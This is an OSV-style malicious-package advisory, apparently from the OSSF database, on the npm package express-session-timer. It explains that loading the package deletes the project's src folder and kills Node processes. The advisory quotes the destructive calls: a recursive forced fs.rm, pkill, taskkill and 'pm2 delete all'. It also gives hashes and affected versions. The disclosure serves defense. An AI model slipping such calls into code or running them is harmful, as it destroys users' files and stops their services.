{"id":"MAL-2026-16065","summary":"Malicious code in express-session-timer (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (325e241839ca2d0861d19807df248bf7b06922533bccb441bbee521471f5d73f)\nexpress-session-timer@1.0.1 schedules an unconditional destructive routine at module load time. Approximately 18 seconds after `require('express-session-timer')`, the package recursively removes `\u003ccwd\u003e/src` via `fs.rm(path.join(process.cwd(),'src'), {recursive:true, force:true})` and terminates Node processes with `pkill -f \"node.*${process.cwd()}\"` on Unix, `taskkill /IM node.exe /F` on Windows, and `npx pm2 delete all`. The behavior fires with no configuration, opt-in, or relationship to the package's advertised functionality — merely importing the module deletes the installer's source tree and stops their running server. The manifest also pins `express-timer: ^0.0.1-security`, npm's security-hold placeholder convention, indicating an unpinned resolution against a name previously held after takedown.\n","modified":"2026-09-09T02:00:04.581022320Z","published":"2026-09-09T01:41:37Z","database_specific":{"malicious-packages-origins":[{"source":"amazon-inspector","versions":["1.0.0"],"id":"IN-MAL-2026-019754","import_time":"2026-09-09T01:51:49.577322873Z","modified_time":"2026-09-09T01:42:21Z","sha256":"00eac4d0f15311278581562efe1555e048ce855c65104d099af4dddc07c2795d"},{"id":"IN-MAL-2026-019755","import_time":"2026-09-09T01:51:49.694167126Z","modified_time":"2026-09-09T01:42:30Z","sha256":"325e241839ca2d0861d19807df248bf7b06922533bccb441bbee521471f5d73f","source":"amazon-inspector","versions":["1.0.1"]},{"modified_time":"2026-09-09T01:41:37Z","sha256":"398cafd4f124621898f147aa0dda153737f202110454bebf295702d44bab4abe","source":"amazon-inspector","versions":["1.0.13"],"id":"IN-MAL-2026-019749","import_time":"2026-09-09T01:51:49.061534597Z"},{"id":"IN-MAL-2026-019750","import_time":"2026-09-09T01:51:49.160195686Z","modified_time":"2026-09-09T01:41:44Z","sha256":"7b07974b64ed463310b6ed3f8d50dec25f71dbea81e48eabd11f9fbd780179c5","source":"amazon-inspector","versions":["1.0.14"]},{"id":"IN-MAL-2026-019751","import_time":"2026-09-09T01:51:49.255116211Z","modified_time":"2026-09-09T01:41:54Z","sha256":"d29f13ecbca1a218f86c2e641fdab971c2576eb4885931f9472768784d45489a","source":"amazon-inspector","versions":["1.0.16"]}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/express-session-timer/v/1.0.0"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/express-session-timer/v/1.0.1"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/express-session-timer/v/1.0.13"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/express-session-timer/v/1.0.14"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/express-session-timer/v/1.0.16"}],"affected":[{"package":{"name":"express-session-timer","ecosystem":"npm","purl":"pkg:npm/express-session-timer"},"versions":["1.0.0","1.0.1","1.0.13","1.0.14","1.0.16"],"database_specific":{"cwes":[{"name":"Embedded Malicious Code","cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature."},{"description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code","cweId":"CWE-506"},{"name":"Embedded Malicious Code","cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature."},{"description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code","cweId":"CWE-506"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"index.js","sha256":"32ee0e5d694c1f305f7bc58397f72af2b2f57f50403f63a506a285fda438f862","tlsh":"8341fb6329faa0b096f10fe096320543786bca221618e25576ddc2fa0ff15158637dfc"}],"package_integrity":[{"filename":"express-session-timer-1.0.0.tgz","hashes":{"sha1":"1d5c25eaa86e7f14c66f76c3000fb2b4a1732279","sha512_sri":"sha512-KOyAMl2Wsb3uMglxK3a/H9mnqhx9aIXN9OnSS7imUY6PnriN6RgbGdCTLeX0yt9fHXNG8LpO0HMeRx0KYYziaA=="}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/express-session-timer/MAL-2026-16065.json"}}],"schema_version":"1.9.0","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}